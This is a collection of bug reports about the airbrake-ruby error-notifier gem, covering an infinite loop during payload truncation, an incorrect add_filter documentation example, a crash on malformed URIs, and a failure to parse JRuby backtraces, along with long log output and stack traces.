D, [2016-05-04T22:34:04.027212 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.027252 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.027285 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.028167 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.028207 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.028240 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029030 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.029071 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.029104 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029931 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.038577 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.038625 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.038954 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.039504 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError

From there on, airbrake-ruby was stuck in an infinite loop for about an hour, repeating those last three lines, producing 1GB of logs and locking a process. It eventually was killed by linux when the machine ran out of memory.

This piece of code seems to be responsible for the problem:

# lib/airbrake-ruby/notice.rb
    def to_json
      loop do
        begin
          json = payload.to_json
        rescue *JSON_EXCEPTIONS => ex
          @config.logger.debug("#{LOG_LABEL} `notice.to_json` failed: #{ex.to_s.chomp}")
        else
          return json if json && json.bytesize <= MAX_NOTICE_SIZE
        end

        truncate_payload
      end
    end

If the truncate_payload somehow stop reducing the size of the payload (which seems to be the case as the log says Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError), then this method become an infinite loop. Unfortunately, I could not come up with an exact payload that would reproduce the issue.

Broken docs with '.add_filter' example -- notice[:error_class] didn't exists

You have next example (https://github.com/airbrake/airbrake-ruby#airbrakeadd_filter):

Airbrake.add_filter do |notice|
  notice.ignore! if notice[:error_class] == 'StandardError'
end

Actually, notice object allows 'hash-like' access to @modifiable_payload, but this instant variable initiated this way:

@modifiable_payload = {
        errors: errors(exception),
        context: context(params),
        environment: {},
        session: {},
        params: params
 }

And method that add additional key-values checks keys with whitelist of writable keys:

WRITABLE_KEYS = [
      :notifier,
      :context,
      :environment,
      :session,
      :params
    ]

So, there couldn't be key :error_class that was specified in docs.

send_notice raises URI::InvalidURIError with invalid URIs

If a user visits a badly formed URI (say, http://example.com/foo]bar), and the app raises an exception (perhaps because of the badly formed URI), the airbrake gem will raise a second exception while trying to parse notice[:context][:url], which prevents the original error from reaching Airbrake. Here's a partial stack from such an error:

/Users/jon/.rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/uri/common.rb, line 747
/Users/jon/.rvm/rubies/ruby-2.1.5/lib/ruby/2.1.0/uri/common.rb, line 1232
airbrake-ruby (1.1.0) lib/airbrake-ruby/filters/keys_filter.rb, line 32
airbrake-ruby (1.1.0) lib/airbrake-ruby/filter_chain.rb, line 64
airbrake-ruby (1.1.0) lib/airbrake-ruby/filter_chain.rb, line 62
airbrake-ruby (1.1.0) lib/airbrake-ruby/notifier.rb, line 123
airbrake-ruby (1.1.0) lib/airbrake-ruby/notifier.rb, line 45
airbrake-ruby (1.1.0) lib/airbrake-ruby.rb, line 282
airbrake-ruby (1.1.0) lib/airbrake-ruby.rb, line 136
airbrake (5.1.0) lib/airbrake/rack/middleware.rb, line 39

Perhaps KeysFilter#call should catch URI::InvalidURIError and quietly return? Or replace notice[:context][:url] with "<invalid URI>" ?

Can’t parse JRuby backtrace

This happened last week so I don’t recall the exact circumstances… I believe I was using the current/latest version but I’m not 100% sure. Sorry so vague.

0 [main] ERROR FOO  - Java::OrgPostgresqlUtil::PSQLException: The connection attempt failed.
Backtrace:
	org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(org/postgresql/core/v3/ConnectionFactoryImpl.java:257)
	org.postgresql.core.ConnectionFactory.openConnection(org/postgresql/core/ConnectionFactory.java:65)
	org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(org/postgresql/jdbc2/AbstractJdbc2Connection.java:149)
	org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(org/postgresql/jdbc3/AbstractJdbc3Connection.java:35)
	org.postgresql.jdbc3g.AbstractJdbc3gConnection.<init>(org/postgresql/jdbc3g/AbstractJdbc3gConnection.java:22)
	org.postgresql.jdbc4.AbstractJdbc4Connection.<init>(org/postgresql/jdbc4/AbstractJdbc4Connection.java:47)
	org.postgresql.jdbc4.Jdbc4Connection.<init>(org/postgresql/jdbc4/Jdbc4Connection.java:30)
	org.postgresql.Driver.makeConnection(org/postgresql/Driver.java:414)
	org.postgresql.Driver.connect(org/postgresql/Driver.java:282)
	java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)
	org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)
	org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)
	RUBY.connect(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/jdbc.rb:226)
	RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:116)
	RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228)
	RUBY.available(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201)
	RUBY._acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137)
	RUBY.block in acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151)
	RUBY.block in sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)
	org.jruby.ext.thread.Mutex.synchronize(org/jruby/ext/thread/Mutex.java:148)
	org.jruby.ext.thread.Mutex$INVOKER$i$0$0$synchronize_DBG.call(org/jruby/ext/thread/Mutex$INVOKER$i$0$0$synchronize_DBG.gen)
	RUBY.sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)
	RUBY.acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150)
	RUBY.hold(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106)
	RUBY.synchronize(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285)
	RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508)
	RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793)
	RUBY.select_sql(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233)
	RUBY.each(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:512)
	org.jruby.RubyEnumerable.callEach19(org/jruby/RubyEnumerable.java:116)
	org.jruby.RubyEnumerable.collectCommon(org/jruby/RubyEnumerable.java:838)
	org.jruby.RubyEnumerable.map(org/jruby/RubyEnumerable.java:830)
	org.jruby.RubyEnumerable$INVOKER$s$0$0$map_DBG.call(org/jruby/RubyEnumerable$INVOKER$s$0$0$map_DBG.gen)
	RUBY.map(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455)
	RUBY.get_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
	org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)
	org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)
	org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)
	RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)
	RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)
	RUBY.block in get_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)
	org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)
	RUBY.get_sites_with_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162)
	org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)
	org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)
	org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)
	org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)
	RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)
	RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)
	RUBY.block in get_sites_with_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)
	org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)
	RUBY.start!(bin/sources/bay_event_forwarder.rb:24)
	RUBY.<main>(bin/sources/bay_event_forwarder.rb:54)
	org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:840)
	org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:844)
	org.jruby.Ruby.runNormally(org/jruby/Ruby.java:747)
	org.jruby.Ruby.runNormally(org/jruby/Ruby.java:760)
	org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:573)
	org.jruby.Main.doRunFromMain(org/jruby/Main.java:417)
	org.jruby.Main.internalRun(org/jruby/Main.java:305)
	org.jruby.Main.run(org/jruby/Main.java:232)
	org.jruby.Main.main(org/jruby/Main.java:204)
E, [2017-03-13T09:53:20.144000 #60300] ERROR -- : can't parse 'org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl(org/postgresql/core/v3/ConnectionFactoryImpl.java:257)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.147000 #60300] ERROR -- : can't parse 'org.postgresql.core.ConnectionFactory.openConnection(org/postgresql/core/ConnectionFactory.java:65)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc2.AbstractJdbc2Connection.<init>(org/postgresql/jdbc2/AbstractJdbc2Connection.java:149)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc3.AbstractJdbc3Connection.<init>(org/postgresql/jdbc3/AbstractJdbc3Connection.java:35)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc3g.AbstractJdbc3gConnection.<init>(org/postgresql/jdbc3g/AbstractJdbc3gConnection.java:22)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.148000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc4.AbstractJdbc4Connection.<init>(org/postgresql/jdbc4/AbstractJdbc4Connection.java:47)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.jdbc4.Jdbc4Connection.<init>(org/postgresql/jdbc4/Jdbc4Connection.java:30)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.Driver.makeConnection(org/postgresql/Driver.java:414)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'org.postgresql.Driver.connect(org/postgresql/Driver.java:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.149000 #60300] ERROR -- : can't parse 'java.lang.reflect.Method.invoke(java/lang/reflect/Method.java:498)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'org.jruby.javasupport.JavaMethod.invokeDirectWithExceptionHandling(org/jruby/javasupport/JavaMethod.java:468)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'org.jruby.javasupport.JavaMethod.invokeDirect(org/jruby/javasupport/JavaMethod.java:326)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'RUBY.connect(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/jdbc.rb:226)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.150000 #60300] ERROR -- : can't parse 'RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:116)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.make_new(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.available(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY._acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.151000 #60300] ERROR -- : can't parse 'RUBY.block in acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'RUBY.block in sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'org.jruby.ext.thread.Mutex.synchronize(org/jruby/ext/thread/Mutex.java:148)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'org.jruby.ext.thread.Mutex$INVOKER$i$0$0$synchronize_DBG.call(org/jruby/ext/thread/Mutex$INVOKER$i$0$0$synchronize_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.152000 #60300] ERROR -- : can't parse 'RUBY.sync(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.acquire(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.hold(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.synchronize(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.153000 #60300] ERROR -- : can't parse 'RUBY.server_version(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'RUBY.select_sql(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'RUBY.each(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:512)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.callEach19(org/jruby/RubyEnumerable.java:116)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.154000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.collectCommon(org/jruby/RubyEnumerable.java:838)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable.map(org/jruby/RubyEnumerable.java:830)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyEnumerable$INVOKER$s$0$0$map_DBG.call(org/jruby/RubyEnumerable$INVOKER$s$0$0$map_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'RUBY.map(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'RUBY.get_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.155000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.156000 #60300] ERROR -- : can't parse 'RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.block in get_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'RUBY.get_sites_with_checkpoints(/Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.157000 #60300] ERROR -- : can't parse 'org.jruby.RubyClass.finvoke(org/jruby/RubyClass.java:522)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyBasicObject.send19(org/jruby/RubyBasicObject.java:1680)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel.send19(org/jruby/RubyKernel.java:1998)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'org.jruby.RubyKernel$INVOKER$s$send19_DBG.call(org/jruby/RubyKernel$INVOKER$s$send19_DBG.gen)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.send_to(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.call_with(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.158000 #60300] ERROR -- : can't parse 'RUBY.block in get_sites_with_checkpoints(/Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'org.jruby.RubyProc.call(org/jruby/RubyProc.java:289)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'RUBY.start!(bin/sources/bay_event_forwarder.rb:24)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'RUBY.<main>(bin/sources/bay_event_forwarder.rb:54)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.159000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:840)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runInterpreter(org/jruby/Ruby.java:844)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runNormally(org/jruby/Ruby.java:747)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runNormally(org/jruby/Ruby.java:760)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Ruby.runFromMain(org/jruby/Ruby.java:573)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.doRunFromMain(org/jruby/Main.java:417)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.internalRun(org/jruby/Main.java:305)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.160000 #60300] ERROR -- : can't parse 'org.jruby.Main.run(org/jruby/Main.java:232)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
E, [2017-03-13T09:53:20.161000 #60300] ERROR -- : can't parse 'org.jruby.Main.main(org/jruby/Main.java:204)' (please file an issue so we can fix it: https://github.com/airbrake/airbrake-ruby/issues/new)
#<Class:0x57adfab0>: Java::OrgPostgresqlUtil::PSQLException: The connection attempt failed.
                             make_new at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool.rb:125
                             make_new at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:228
                            available at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:201
                             _acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:137
                     block in acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:151
